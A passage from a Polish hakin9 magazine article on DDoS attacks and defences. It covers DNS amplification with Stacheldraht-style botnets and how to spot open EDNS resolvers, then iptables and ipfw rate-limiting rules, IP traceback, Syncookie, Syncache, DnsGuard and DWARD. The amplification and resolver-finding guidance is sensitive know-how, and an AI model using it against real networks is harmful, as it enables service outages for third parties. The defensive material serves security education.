znaleźć odpowiedni serwer DNS,
a wtedy wzmocnienia rzędu 70 są
możliwe. Przy użyciu narzędzi ta-
kich jak Stacheldraht, kontrolując
nawet niewielką liczbę zombie np:
1000, można uzyskać wzmocnie-
nie rzędu 70000, czyli atakując stru-
mieniem 64kbit/s można zapchać łą-
cze 4Gbit/s. Aby wyszukać serwery
EDNS wystarczy napisać skrypt wy-
syłający jakiekolwiek zapytanie, po
czym sprawdzić odpowiedź pod ką-
tem rozszerzonego pola RCODE (w
którym pole VERSION wynosi 0.).
Można też wysłać rozszerzone za-
pytanie i jeśli RCODE odpowiedzi
jest inny niż NOTIMPL, SERVFAIL
czy FORMERR wówczas jest duża
szansa na to, że to serwer EDNS.
Badania pokazują, że liczba serwe-
rów, zarówno dawniej jak i dziś, po-
zwalających wszystkim na wykony-

wanie zapytań rekursywnych wyno-
si około 75%[1],[3] a nawet 80%[2].
Aby zabezpieczyć się przed tego ty-
pu atakami należy wyłączyć na ser-
werze możliwość obsługi zapytań
rekursywnych dla niezaufanych ho-
stów. Dobrą praktyką jest też ogra-
niczenie możliwości transferu stre-
fy (choć tutaj nie ma bezpośrednie-
go zagrożenia jeśli chodzi o DDoS).
Należy pamiętać jednak, że powyż-
sze kroki nie gwarantują ochrony,
ponieważ i bez zapytań rekursyw-
nych można przeprowadzić atak
DDoS. Na dodatek ofiarą mogą
paść dobrze zabezpieczone sieci
i serwery, który zostały zaatakowane
poprzez słabo zabezpieczonych po-
średników. W celu ochrony przed te-
go typu atakami zaleca się zastoso-
wanie mechanizmów, o których bę-
dzie mowa w kolejnych rozdziałach.

Masowe ataki (D)DoS

Ostatnio pojawiło się kilka publika-
cji związanych z analizą wykrywal-
ności masowych ataków DDoS. W
[4],[5] autorzy argumentują że po-
siadając milion komputerów pod
swoją kontrola można przeprowa-
dzać ataki DDoS, które są na tyle
rozproszone, że wykrycie ich przy
użyciu dzisiejszych technik wydaje
się być niemożliwe. Każdy z kom-
puterów zombie wykonuje najzwy-
klejsze połączenie z usługą ser-
wera. Nie sposób rozróżnić po-
prawnych połączeń dokonywanych
przez uprawnionych użytkowników
od połączeń dokonywanych przez
zombie. Z punktu widzenia ataku-
jącego setki tysięcy komputerów w
jednej chwili próbują połączyć się
z ofiarą. Zaatakowany serwer nie
ma praktycznie żadnej możliwości
obrony przed takim atakiem. Jest
to bardzo poważny problem, któ-
ry wraz ze wzrostem ilości maszyn
podłączonych do Internetu będzie
się nasilał. W celu zapobiegania -
albo przynajmniej minimalizowania
takiego ataku potrzebne są kom-
pleksowe działania na większą ska-
lę. Należą do nich: instalacja wy-
dajnych mechanizmów wykrywania
DDoS w wielu punktach sieci takich
jak styk między ISP a użytkownika-

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

mi, routery brzegowe czy firewalle
małych i dużych firm podpiętych do
Internetu.

Obrona przed atakami

(D)DoS

W tym rozdziale zostanie omówiony
szereg mechanizmów związanych z
obroną i przeciwdziałaniem atakom
DDoS. Na początku dokonana zo-
stanie próba klasyfikacji systemów
obrony po czym przeanalizowane
zostaną sposoby rozmieszczenia
detektorów oraz najprostsze techni-
ki i narzędzia, które można potocz-
nie wykorzystać w celu przeciw-
działania lub zmniejszania skutków
ataków DDoS. Następnie zaprezen-
towane zostaną mechanizmy zwią-
zane z namierzeniem sprawcy ata-
ku takie jak ICMP Traceback, IP Re-
cord Route Traceback oraz IP Tra-
ceback. W dalszej części mechani-
zmy Syncookie i Synache, mające
zabezpieczać przed atakami Syn
flood. Potem – DnsGuard pracujący
jak DNS proksy - mający na celu za-
bezpieczenie przed atakami z uży-
ciem serwerów DNS jako wzmac-
niaczy. Następnie system DWARD
umiejscowiony blisko źródła ataku.
Na koniec system SPUNNID bazu-
jący na nienadzorowanej sieci neu-
ronowej ART-1.

Klasyfikacja

Przede wszystkim trzeba się za-
stanowić, co znaczy obrona przed
atakami DDoS. Czy to znaczy, że
do takiego ataku nigdy nie dojdzie
z racji zastosowanych mechani-
zmów? Oczywiście takie systemy
istnieją. Jednak zazwyczaj ich im-
plementacja wiąże się z gruntow-
nymi zmianami w funkcjonowaniu
IP, bądź protokołów wyższej war-
stwy, które mają być chronione.
W takich sytuacjach trzeba stoso-
wać kosztowne, nierzadko - sprzę-
towe rozwiązania. Implementa-
cja takich rozwiązań na szerszą
skalę jest mało prawdopodobna.
Wiele innych systemów dokonu-
je znacznie mniejszych modyfika-
cji związanych z protokołem, jed-
nak z związku z tym posiada wie-
le wad i ograniczeń. Takim przykła-

dem może być Syncookie. Dlatego
często stosuje się rozwiązania hy-
brydowe jak np: połączenie Synco-
okie z Syncache. Inne systemy ta-
kie jak DnsGuard czy DWARD nie
wymagają dokonywania żadnych
zmian w protokole lecz pełnią je-
dynie funkcje pośredników pomię-
dzy klientem a serwerem. Osob-
ną grupę stanowią systemy namie-
rzające mające na celu śledzenie i
wykrywanie ataków. Można do nich
zaliczyć techniki związane z ICMP
czy IP Traceback. Bazują one na
takiej modyfikacji routerów biorą-
cych udział w przekazywaniu pa-
kietów, aby do każdego z tych pa-
kietów (albo tylko niektórych) do-
dawać pewne informacje, które po-
zwolą odbiorcy na określenie i na-
mierzenie oryginalnego nadawcy
tych pakietów. Bez użycia takich
systemów takie namierzanie mo-
że być skutecznie uniemożliwione
przez spoofing. Systemy te więc
nie chronią przed atakami, ale po-
zwalają na namierzenie sprawców.
Inną grupą stanowią systemy, któ-
re wykrywają już trwający atak i mi-
nimalizują jego skutki np: blokując
ruch pakietów które są przyczyną
ataku. Budowa i implementacja ta-
kiego systemu wydaje się prosta:
wystarczy przed routerem brzego-
wym firmy wstawić czarną pusz-
kę, która będzie blokowała wszel-
kie ataki a przepuszczała dozwolo-
ny ruch. Jednak okazuje się to nie-
zwykle trudne. Przede wszystkim:
jak rozróżnić pakiety IP, które po-
chodzą od uprawnionych użytkow-
ników a jak te, które są częścią ata-
ku DDoS ? Nawet jeśli uda się od-
powiedzieć na poprzednie pytanie,
to co zrobić dalej ? Czy zablokować
konkretne adresy IP ? Jeśli tak, to
które ? Trzeba pamiętać o tym, że
podczas ataków DDoS adresy źró-
dłowe pakietów są prawie zawsze
fałszowane. Na te i wiele innych py-
tań nie udało się na razie udzielić
jednoznacznej odpowiedzi, dlatego
badania w tej dziedzinie trwają. Po-
wstaje wiele specjalizowanych sys-
temów, które są skuteczne tylko
w pewnych okolicznościach. Jest
wiele innych klasyfikacji systemów

ochrony przed DDoS. Jedną z nich
może być umiejscowienie detekto-
ra, co zostanie omówione dokład-
niej w następnym rozdziale.

Umiejscowienie

detektora DDoS

Warto przeanalizować, ponieważ
wnioski te są wspólne dla więk-
szości systemów. Jakie są zale-
ty umiejscowienia blisko celu ata-
ku ? Przede wszystkim widać ca-
ły ruch więc można łatwo wykryć,
że nastąpił atak DDoS. Jednak bar-
dzo trudno rozpoznać, jaka część
ruchu odpowiada za ten atak oraz
kto jest atakującym. Ze względu na
duże natężenie ruchu potrzebne są
duże wymagania co do wydajności
sprzętu analizującego ruch. Takich
wad nie ma w przypadku ulokowa-
nia detektora blisko źródła ata-
ku. Wtedy ruch jest niewielki, ła-
twiej wykryć i zablokować pakiety
ze sfałszowanymi adresami źródło-
wymi. Jednak w przypadku zmaso-
wanych DDoS z bardzo dobrym roz-
proszeniem nie da się wykryć ata-
ku, ponieważ wygląda on jak zwy-
czajny ruch. Innym problemem - ra-
czej socjologicznym - jest to, że ad-
ministratorzy takich sieci niechętnie
implementują takie zabezpieczenia,
ponieważ służą one ochronie in-
nych sieci a nie ich (chronią internet
przed atakiem z ich sieci). Ostatnia
możliwość to ulokowanie detektora
w sieci szkieletowej. Przez routery
szkieletowe przepływa bardzo wiel-
ki ruch, dlatego stosuje się tam bar-
dzo wyspecjalizowane mechanizmy
detekcji. Takim przykładem może
być technika PCF(Prtial Completion
Filter)[6], która umożliwia analizę i
detekcję bez zapamiętywania stanu
każdego połączenia TCP. Jednak
trzeba pamiętać o mechanizmie ro-
utingu IP i tym, że pewne pakiety
mogą przechodzić przez pewien ro-
uter szkieletowy, ale mogą wracać
przez zupełnie inny router. Z związ-
ku z tym zaburzona może być rów-
nowaga symetryczności zapytań i
odpowiedzi - co niestety wyklucza,
albo znacznie utrudnia wykorzysta-
nie szeregu technik detekcji. Naj-
lepszym wyjściem wydaje się być

hakin9 Nr 2/2007

www.hakin9.org

Atak

stosowanie detektorów wyspecja-
lizowanych - każdy w innym miej-
scu sieci.

Proste mechanizmy

Zostaną tutaj omówione proste roz-
wiązania, których implementacja
jest szybka a jednocześnie nie ła-
mie żadnych specyfikacji protoko-
łów TCP/IP. Oczywiście oferowa-
ny poziom zabezpieczenia tych roz-
wiązań pozostawia wiele do życze-
nia, jednak jest to zawsze jakaś for-
ma obrony.

Iptables

Użytkownicy systemu Linux mają do
dyspozycji bardzo przydatne rozsze-
rzenia iptables zwane Path-O-Matic.
Jednym z modułów którego można
użyć jest fuzzy implementujący me-
chanizmy logiki rozmytej (TSK FLC).
Przykładowo:

iptables -A INPUT -m fuzzy --lower-

limit

100 --upper-limit 1000 -j REJECT

Poniżej 100 pakietów na sekundę
filtr jest nieaktywny, od 100 do 1000
średni poziom akceptowalności bę-
dzie spadał ze 100% dla 100 pakie-
tów na sekundę do 1% dla 1000 pa-
kietów na sekundę. Powyżej tej war-
tości poziom akceptowalności bę-
dzie wynosił 1% (czyli średnio 99%
pakietów zostanie odrzucona). Moż-
na również wykorzystać moduł ipli-
mit, na przykład:

iptables -A INPUT -p tcp --syn --dport

http

-m iplimit --iplimit-mask 8
--iplimit-above 4 -j REJECT

pozwoli na dostęp do serwera
www, jeśli dla każdej klasy A ilość
nowych połączeń będzie poniżej 4
na sekundę. Jeśli zastosujemy ma-
skę 32 to ograniczenie to będzie
nałożone na każdy pojedynczy ad-
res IP.

Warto również skorzystać z mo-

dułu ipv4options w celu odrzucenia
pakietów, które wykorzystują opcję
dokładnych punktów routowania.
Atakujący może w ten sposób usta-

lić dokładną ścieżkę, po jakiej ma na-
stąpić atak:

iptables -A INPUT -m ipv4options --ssrr

-j DROP

Można również samemu wyciąć
wszystkie opcje IP:

iptables -t mangle -A PREROUTING -j

IPV4OPTSSTRIP

Innym zagrożeniem są duże komu-
nikaty ICMP. Mogą być one oznaką
ataku DoS lub też np: tajnych pole-
ceń przesyłanych do maszyn będą-
cych pod kontrolą rootkitów. Dla-
tego można wykorzystać moduł
length:

iptables -A INPUT -p icmp --icmp-type
echo-request -m length
--length 90:0xffff -j DROP

co spowoduje wycięcie wszystkich
ICMP echo-request z rozmiarem po-
wyżej 90 bajtów.

Warto również skorzystać z pkt-

type do blokowania komunikatów
broadcast czy multicast np:

iptables -A INPUT -m pkttyp
--pkt-type broadcast -j DROP

Można również próbować nakładać
quote na ilość danych przesłanych w
pakietach SYN:

iptables -A INPUT -p tcp --syn
--dport http -m quota --quota 10000 -j

po czym blokować pakiety SYN
przekraczające tę quotę (np: dla nie-
zaufanych hostów).

Czasami warto odrzucać pewną

liczbę pakietów np:

iptables -A INPUT -p icmp --icmp-type
echo-request -m random --avarage 90 -j

DROP

co odrzuci 90% pakietów ICMP echo-

request.

Można również próbować karać
czasowo niedozwolone zachowa-
nie np:

iptables -A INPUT -p icmp --icmp-type
echo-request -m recent --name badguy --

set -j DROP

iptables -A INPUT -m recent --name

badguy

--rcheck --seconds 60 -j DROP

co zablokuje na kolejne 60 sekund
użytkowników, którzy próbowali
przesłać ICMP echo.

Aby zabezpieczyć się przed

spoofowanym atakiem z warto-
ściami TTL osiągającymi 1 (odpo-
wiedź ICMP time exceeded) moż-
na blokować pakiety z TTL mniej-
szymi niż 2:

iptables -A INPUT -m ttl --ttl-lt 2 -j

DROP

Pod Linuxem można oczywiście pró-
bować radzić sobie z atakami DoS
konstruując odpowiedni mecha-
nizm sterowania przepływem jak
CBQ[11]. Jednak takie rozwiązanie
mogłoby przynieść sensowny sku-
tek tylko w przypadku , gdy są ja-
sno określeni uprzywilejowani użyt-
kownicy, będącymi głównymi odbior-
cami usługi. Wtedy adresy te byłyby
skierowane przez filtr (np: u32) do
kolejki dającej szersze pasmo, nato-
miast cała reszta użytkowników tra-
fiałaby do kolejki o znacznie węż-
szym paśmie. To rozwiązanie jednak
nie ochroni przed atakami Syn flood
i spoofingiem.

ipfw

Użytkownicy FreeBSD nie mają aż
takiego wyboru jeśli chodzi o moż-
liwości firewalla (w sumie pf ma po-
dobne możliwości co do ipfw więc
nie będzie omawiany oddzielnie). Co
prawda można np: blokować 20%
ICMP echo:

add 1000 prob 0.8 allow icmp
from any to any in icmptypes 8

Jednak brakuje wielu innych opcji
związanych z quotą, dostępem cza-
sowym, karami czasowymi czy kon-
trolą długości pakietów. Podobnie
jak dla Linuxa CBQ użytkownicy ro-
dziny BSD mają do dyspozycji AL-
TQ. Do ograniczania pasma bardzo

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

dobrym mechanizmem jest również
dummynet.

ICMP traceback

ICMP traceback jest techniką, któ-
ra nie służy do wykrywania czy za-
pobiegania atakom DDoS. Służy do
namierzania źródła względnie dużej
liczby pakietów. W tym celu routery
przekazujące pakiety muszą raz na
około 20000(do dostrojenia) prze-
słanych pakietów wysłać nowy ko-
munikat - ICMP Traceback, w którym
zawarte są dane o pochodzeniu te-
go pakietu. Dzięki temu podczas ata-
ku DDoS atakujący dostanie pew-
ną liczbę pakietów ICMP traceback,
które po odpowiednim sklejeniu po-
każą mu całą ścieżkę ataku. Wa-
dą tego rozwiązania są komunikaty
ICMP, które są często filtrowane. Po-
za tym atakujący może wysyłać fał-
szywe ICMP Traceback. W tym ce-
lu zaproponowano już użycie infra-
struktury klucza publicznego, jednak
na razie nic się nie przyjęło na szer-
szą skalę.

IP Record Route Traceback

Do namierzania atakującego moż-
na również wykorzystać routery,
które routowałyby pakiety IP uak-
tywniając opcję IP Record Ro-
ute. Dzięki temu każdy kolejny ro-
uter doklejałby swój adres IP do po-
la opcji nagłówka IP. Jednak wią-

że się to z szeregiem problemów
– jest to rozwiązanie opcjonalne a
niektóre routery mogą nawet wy-
ciąć te dodatkowe pola. Najwięk-
szym problemem jest jednak roz-
miar pola opcji. Pole IP header len
to tylko 4 bity więc cały nagłówek IP
jest ograniczony do 15 słów 32-bi-
towych (60 bajtów). Odejmując nie-
zmienną długość nagłówka IP (20
bajtów), opcję RR (3 bajty), pozo-
staje 37 bajtów co pozwala zapisać
do 9 adresów IP. Niestety jest to za
mało. Na dodatek atakujący może
wygenerować pakiety IP już z jaki-
miś opcjami, które zajmują cenne
miejsce w nagłówku, co praktycz-
nie mogłoby całkowicie zniwelować
użycie powyższej techniki. Dlatego
nie jest ona szerzej używana.

IP traceback

Jest nowszą i lepszą techniką na-
mierzania. Rozróżnia się dwie wer-
sje tej techniki: Node sampling i Ed-
ge sampling.

Node Sampling

Do nagłówka IP doklejana jest no-
wa opcja z tylko jednym 32 bitowym
adresem. Każdy router na ścieżce
z pewnym małym prawdopodobień-
stwem p wpisuje w to pole swój ad-
res IP. Atakowany po odebraniu du-
żej liczby pakietów jest w stanie od-
tworzyć ścieżkę ataku. Wystarczy

porównać ilości pakietów z tymi sa-
mymi adresami IP. Im mniej jest pa-
kietów z danym adresem IP tym bli-
żej źródła znajduje się router z tym
adresem. Wadą tej metody, oprócz
doklejania niestandardowej opcji do
nagłówka IP, jest niemożliwość na-
mierzenia wielu źródeł ataku. Jeśli
następuje on z wielu adresów (wie-
le ścieżek) na raz nie da się ich od-
tworzyć. Obie wady eliminuje kolej-
na technika.

Edge Sampling

Wszystkie dodatkowe informa-
cje zapisuje się w 16-bitowym po-
lu Identification nagłówka IP. Nor-
malnie wykorzystywane jest ono do
sklejania sfragmentowanych pakie-
tów IP. Zakłada się więc, że frag-
mentacja nie będzie wykorzystana.
Jest to dość racjonalne założenie,
jeśli uwzględni się, że dziś wiele ro-
uterów, ze względów bezpieczeń-
stwa nie przekazuje sfragmentowa-
nych pakietów IP. Edge Sampling
polega na tym, że każdy router z
pewnym małym prawdopodobień-
stwem próbuje dokonać zapisu in-
formującego o ścieżce. Wymagane
tutaj pola to start address, end ad-
dress oraz distance field. Pierwszy
router, który postanowi dokonać za-
pisu wpisuje swój adres w pole po-
czątkowego adresu, po czym usta-
wia dystans na 0. Każdy kolejny ro-

Rysunek 4.

Edge sampling - przesyłanie adresów jako XOR

Routers

in path

victim

Marked

packets

Path reconstruction

at victim

Reconstructed

path

a b

b c

c d

hakin9 Nr 2/2007

www.hakin9.org

Atak

uter, który chce dokonać zapisu,
wpisuje swój adres w pole końco-
we. Każdy router, który przekazuje
pakiety, bez względu na to czy po-
stanawia dokonać zapisu czy nie,
zwiększa o 1 pole dystansu. Ata-
kowany, w celu odkrycia ścieżek
ataku wykorzystuje podobną zasa-
dę jak w Node Sampling. Prawdo-
podobieństwo jakiegokolwiek za-
pisu rośnie wraz z odległością od
źródła ataku. Pola startowe i końco-
we umożliwiają wykrycie wielu ście-
żek ataku. Przykładowo jeśli atako-
wany otrzyma przybliżoną ilość pa-
kietów z tymi samymi wartościami
odległości, i różnymi adresami po-
czątkowymi to znaczy, że są one na
różnych ścieżkach. Jeśli otrzyma
pakiety z tymi samymi wartościa-
mi odległości, tymi samymi adresa-
mi końcowymi, ale rożnymi adresa-
mi początkowymi to wie, że gdzieś
pomiędzy nastąpiło połączenie się
ścieżek. Analiza ilościowa dla każ-
dej grupy pakietów (pogrupowa-
nych według dystansu, adresu po-
czątkowego i końcowego) pozwala
dokładnie stwierdzić gdzie. Oczy-
wiście wszystko przy założeniu,
że odebrano dużą liczbę pakietów
- co ma miejsce w przypadku ata-
ku DDoS. Na początku wspomnia-
łem, że wykorzystuje się 16 bito-
we pole do zapisania tych informa-
cji, a tymczasem widać, że na ra-
zie jest to 32+32(oba adresy)+8(dy-
stans)=70 bitów. Dlatego do techni-
ki tej wprowadzono szereg mecha-
nizmów i zabiegów kompresujących
będących kompromisem pomię-
dzy dokładnością (zależną od ilo-

ści odebranych pakietów) a rozmia-
rem doklejanych informacji, dzię-
ki któremu udaje się zmieścić w 16
bitach. Pierwsza sztuczka polega
na przesyłaniu adresów poszcze-
gólnych routerów jako suma XOR.
Dzięki temu wystarczy jedno pole
adresu a nie dwa, a dzięki odwra-
calności XOR łatwo jest odtworzyć
wszystkie adresy zaczynając anali-
zę od ofiary.

Kolejna sztuczka polega na po-

dzieleniu adresu na k części i wy-
syłanie na raz tylko jednej z nich
oraz przesunięcia informujące-
go o tym, która to część. Oczywi-
ście zwiększa to ilość pakietów ja-
kie trzeba przesłać, jednak przy du-
żej ilości (DDoS) w końcu wszyst-
kie fragmenty każdego pakietu do-
trą. Ostatnia modyfikacja naprawia
problem, który pojawia się przy oka-
zji wprowadzenia drugiej - nie uni-
katowości fragmentów. Przy wielu
ścieżkach ataku może się zdarzyć,
że ofiara otrzyma wiele fragmentów
z tym samym przesunięciem i dy-
stansem, jednak należą one do róż-
nych adresów (sum XOR). Dlatego
wprowadzono prosty mechanizm
detekcji błędów. Adres przepleciono
z jego skrótem - i takie dane powy-
syłano w k fragmentach. Nadal za
każdym razem przesyła się tyle sa-
mo danych, jednak potrzeba dwa ra-
zy więcej pakietów, żeby zebrać ca-
ły sfragmentowany pakiet. Sklejony
pakiet jest akceptowany tylko wtedy,
gdy wartość adresu zgadza się ze
skrótem z niego wyliczonym.

Finalnie przesyłany fragment ma

rozmiar 8 bitów. W każdej porcji da-

nych jest 8 fragmentów (co daje 32
bity na adres + 32 bity na skrót), więc
na ilość fragmentów są 3 bity. Na dy-
stans wystarcza swobodnie 5 bitów.
W efekcie dostajemy bardzo spraw-
ny i wydajny system służący do na-
mierzenia źródła ataku, modyfikują-
cy jedynie pole identyfikacji nagłów-
ka IP.

Syncookie

Jest techniką mającą na celu obro-
nę przed atakami Syn flood. Polega
na tym, że po odebraniu przez ser-
wer pakietu z flagą SYN nie zapisuje
on żadnych informacji w kolejce po-
łączeń nasłuchujących. Zamiast te-
go w odpowiedzi SYN,ACK inicja-
lizuje pole ISN (początkowy numer
sekwencyjny TCP) na pewną okre-
śloną wartość - zwaną ciasteczkiem.
Klient zobowiązany jest, zgodnie z
protokołem TCP na odpowiedzenie
pakietem ACK z wartością numeru
sekwencyjnego równą ISN+1. Do-
piero po odebraniu tej odpowiedzi
serwer odczytuje ciasteczko i spraw-
dza jego poprawność. Jeśli jest po-
prawne zostaje nawiązane połącze-
nie TCP. Jeśli nie - pakiet taki zostaje
odrzucony. Serwer utrzymuje 32 bi-
towy licznik czasowy t zwiększany o
1 co 64 sekundy. Podczas inicjaliza-
cji w ISN zapisywane są: t modulo 32
(5 najmłodszych bitów t), skrót MD5
z adresów źródłowego i docelowego,
portu źródłowego i docelowego oraz
licznika t(24 bity), oraz zakodowane
MSS (3 bity). Po odebraniu odpowie-
dzi sprawdzana jest wartość licznika
czasowego – czy jest ona taka sama
(albo o 1 większa) od aktualnej war-
tości tego licznika na serwerze. Jeśli
tak, to znaczy, że odpowiedź mieści
się w ustalonych ramach czasowych.
Jeśli nie - pakiet jest odrzucany. Na-
stępnie wyliczona jest suma MD5 z
danych nagłówka aktualnego pakie-
tu oraz aktualnego t (albo o 1 mniej-
szego) i porównana z wartością z
ciasteczka. Gdyby nie ten etap, ata-
kujący musiałby wysłać tylko 32 pa-
kiety, aby nawiązać połączenie (a
tak sprawdzany skrót, bazując na
wartości t gwarantuje, że odebrano
poprawną odpowiedź). Jeśli wszyst-
ko się zgadza to oznacza, że na-

Rysunek 5.

Edge sampling - podział na k części

Address

BitInterleave

k-1

Hash (address)

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

wiązywane jest poprawne połącze-
nie. Mechanizm ten ma jednak wie-
le wad. Należy do nich niemożliwość
przekazania wielu opcji TCP ustala-
nych przy nawiązywaniu połączenia
(bo nie zapisuje ich w kolejce połą-
czeń nasłuchujących). Inne to 8 pre-
definiowanych wartości MSS (tylko 3
bity), brak retransmisji SYN+ACK je-
śli ACK się zagubi, niekompatybil-
ność z wieloma rozszerzeniami np:
T/TCP, podatność na ataki ACK flo-
od (serwer musi liczyć MD5), proble-
my firewallami, które mogą nie blo-
kować ataków ACK flood, ponieważ
uważają to za część ustanowionego
połączenia. Mechanizm ten zaimple-
mentowano jako opcja w wielu sys-
temach (w Linuxie to opcja kernela
CONFIG_SYN_COOKIES).

Syncache

Jest mechanizmem rozszerzają-
cych systemowe kolejki połączeń
nasłuchujących6. Klasyczna kolej-
ka z prawdopodobieństwem 1/N
wyrzuca rekordy informujące o pół-
otwartych połączeniach TCP. To
znaczy, że z nadejściem nowego
pakietu SYN statystycznie usuwany
jest jeden rekord z tej kolejki. Któ-
ry ? Losowo wybrany. Syncache dla
każdego półotwartego połączenia
rezerwuje znacznie krótszy rekord,
używa FIFO do wyrzucania najstar-
szych półotwartych połączeń oraz
optymalizuje wyszukiwanie i wsta-
wianie nowych rekordów, rozpra-
szając równomiernie nowe połącze-
nia. Syncache składa się z globalnej
tablicy haszującej, której elementa-
mi jest pewna ilość wiaderek (buc-
ket). Każde wiaderko to lista rekor-

dów - każdy opisuje jedno półotwar-
te połączenie. Po nadejściu nowe-
go pakietu SYN wyliczany jest skrót
z adresu i portu źródłowego i doce-
lowego oraz pewnej losowej warto-
ści. Wartość tego skrótu decyduje o
tym, do którego wiaderka (na którą
listę FIFO) trafi informacja o tym po-
łączeniu. Jeśli lista ta jest już pełna,
usuwane jest najstarsze połącze-
nie. Zastosowanie tablicy haszują-
cej oraz funkcji haszującej z losową
wartością ma na celu równomierne
rozłożenie ruchu pomiędzy wszyst-
kie wiaderka. Nawet jeśli przyjdzie
kilka identycznych pakietów SYN
trafią one do innego wiaderka. Więc
są one chronione przed selektywny-
mi atakami. Można ustalać maksy-
malną ilość rekordów dla całej tabli-
cy haszującej 7 oraz maksymalny
rozmiar każdego wiaderka 8. Me-
chanizm Syncache zazwyczaj łączy
się z Syncookie. Zwykle Syncookie
jest wyłączone, lecz jeśli limity Syn-
cache zostaną przekroczone zosta-
je włączony mechanizm Syncookie.

DnsGuard

DnsGuard jest pomysłem nie-
co przypominającym Syncookie.
Używa danych wygenerowanych
po stronie serwera do upewnienia
się, że klient korzystający z serwe-
ra DNS poprzez protokół UDP jest
tym, za kogo się podaje. Uniemoż-
liwia to ataki na serwery DNS opi-
sane wcześniej. DnsGuard jest po-
średnikiem między serwerem DNS a
klientem. Z punktu widzenia klienta
zachowuje się jak serwer DNS. Mo-
że odpowiadać na zapytania reku-
rencyjne jak i nierekurencyjne. Naj-

pierw zostanie omówiony sposób
działania w trybie nierekurencyjnym
- czyli mechanizm odpowiedzi na
pytania nierekurencyjne. Zostanie to
zrobione na przykładzie. Załóżmy,
że DnsGuard chroni jeden z głów-
nych serwerów DNS (root serwer).
W pierwszym kroku klient zada-
je nierekurencyjne pytanie o dome-
nę www.foo.com. DnsGuard prze-
chwytuje zapytanie i bez kontakto-
wania się z prawdziwym serwerem
DNS odsyła odpowiedź (krok drugi)
mówiącą o tym, że serwerem NS dla
domeny com jest COOKIEcom. CO-
OKIE konstruuje się podobnie jak
dla Syncookie i jest ono zapisane w
czytelnym formacie (zgodnym z na-
zwą domeny definiowaną przez pro-
tokół DNS). W trzecim kroku klient
wysyła kolejne zapytanie w celu za-
miany COOKIEcom na adres IP. W
tym momencie DnsGuard sprawdza
poprawność cookie. Jeśli jest ono
poprawne, to w czwartym kroku pyta
się chronionego serwera DNS o ad-
res IP serwera NS dla domeny com.
W piątym DnsGuard kroku dostaje
odpowiedź x, którą zwraca kliento-
wi w szóstym kroku - wrócona odpo-
wiedź to domena COOKIEcom z ad-
resem x. Dalej klient może już połą-
czyć się z adresem x, który jest ser-
werem NS dla domen com, po czym
przeprowadzić proces od nowa, uzy-
skując tym razem adres serwera NS
dla domeny foo.com.

W trybie zapytań rekursyw-

nych jest trochę inaczej. W pierw-
szym kroku klient wysyła zapytanie o
www.foo.com. W drugim DnsGuard
odpowiada, że NS dla www.foo.com
to COOKIE www.foo.com. W trze-
cim klient przesyła zapytanie o adres
IP COOKIEwww.foo.com po czym
następuje weryfikacja COOKIE. W
czwartym kroku DnsGuard wysyła
zapytanie do chronionego serwera
DNS (przyjmującego zapytania re-
kursywne) o adres www.foo.com,
po czym w piątym kroku dostaje od-
powiedź x. W szóstym kroku Dns-
Guard zwraca odpowiedź kliento-
wi mówiącą o tym, że adres IP CO-
OKIEwww.foo.com jest COOKIE2.
Jeśli przez DnsGuard przepływa
ruch o adresach 1.2.3.0/24 to CO-

Rysunek 6.

DnsGuard - tryb iteracyjny

hakin9 Nr 2/2007

www.hakin9.org

Atak

OKIE2 ma format 1.2.3.y gdzie y
może przyjąć wartość od 0 do 255.
Teraz klient zna adres IP serwera
NS dla domeny www.foo.com więc
wysyła do niego zapytanie o ad-
res www.foo.com (krok 7). Po jego
odebraniu DnsGuard sprawdza, czy
wcześniej została do takiego klienta
wysłana informacja o tym, że 1.2.3.y
to NS dla domeny www.foo.com. Je-
śli weryfikacja COOKIE2 przebie-
gła poprawnie DnsGuard może jesz-
cze raz wykonać zapytanie do ser-
wera DNS (kroki 8 i 9) albo od razu

zwrócić odpowiedź uzyskaną w kor-
ku 5 (krok 10). Strzałki zaznaczone
linią przerywaną na obu rysunkach
oznaczają, że przy kolejnych zapy-
taniach od tych adresów IP kroki te
będą pominięte (adresy te uznane za
zaufane).

DWARD

Jest projektem mającym na celu wy-
krywanie ataku DDoS w jego wcze-
snej fazie - w pobliżu źródła ata-
ku. Składa się z modułów observa-
tion, rate-limiting oraz traffic-poli-

cing. Obserwacja i zbieranie sta-
tystyk ruchu odbywa się dwutoro-
wo. Po pierwsze zbierane są staty-
styki dla każdego odległego adresu
IP (zwane agregacją agflow). Każ-
dy rekord agflow zawiera dane doty-
czące ilości oraz rozmiarów pakie-
tów TCP, UDP oraz ICMP wysyła-
nych w obu kierunkach. Po drugie
zbierane są statystyki dla każdego
połączenia TCP (agregacja connec-
tion). Każdy rekord opisujący połą-
czenie zawiera podobne statystyki
jak rekord agflow.

Jednocześnie stworzone zostały

trzy klasy ruchu dla agregacji agflow.
Pierwsza z nich to klasa Normal opi-
sująca ruch, którego statystyki zgod-
ne są z normalnym modelem ruchu.
Kolejna to Suspicious używana do
opisania agflow zgodnego z normal-
nym modelem, jednak zaklasyfiko-
wanego niedawno do trzeciej z klas:
Attack. Klasa Attack używana jest do
opisania ruchu niezgodnego z okre-
ślonymi normami.

Moduł obserwacyjny porównu-

je bieżące rekordy agflow z normal-
nym modelem ruchu, po czym de-
cyduje do której z tych klas zaliczyć
dany ruch. W tym celu zdefiniowano

Rysunek 7.

DnsGuard - tryb rekursywny

Rysunek 8.

DWARD - architektura

Rate limit calculation

f(x-y)

Classification

Agflow Table

Connection Table

Agflow Models

Connection Models

Traffic statistics

Legitimate

Connection List

Aglow classification

results

Rate

Limit

Rules

RESOURCE ROUTER

RATE-LIMITING COMPONENT

OBSERVATION COMPONENT

TRAFFIC-POLICING

COMPONENT

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

parametr, który określa maksymal-
ny stosunek ilości pakietów wysła-
nych do odebranych. Jego przekro-
czenie oznacza, że zostało wysła-
nych znacząco więcej pakietów niż
odebrano (prawdopodobnie bez po-
twierdzenia ACK dla TCP), co jest
jednym z syndromów ataku. Bieżą-
cy stosunek ilościowy pakietów jest
odpowiednio modyfikowany w przy-
padku, jeśli przez pewien czas nie
otrzymuje się potwierdzenia (jest on
zwiększany w celu wykrycia ataku).
Dzięki temu jeśli dany /emphagflow
był zaklasyfikowany jako normalny
w przypadku nagłego nastąpienia
ataku zostanie to szybciej wykry-
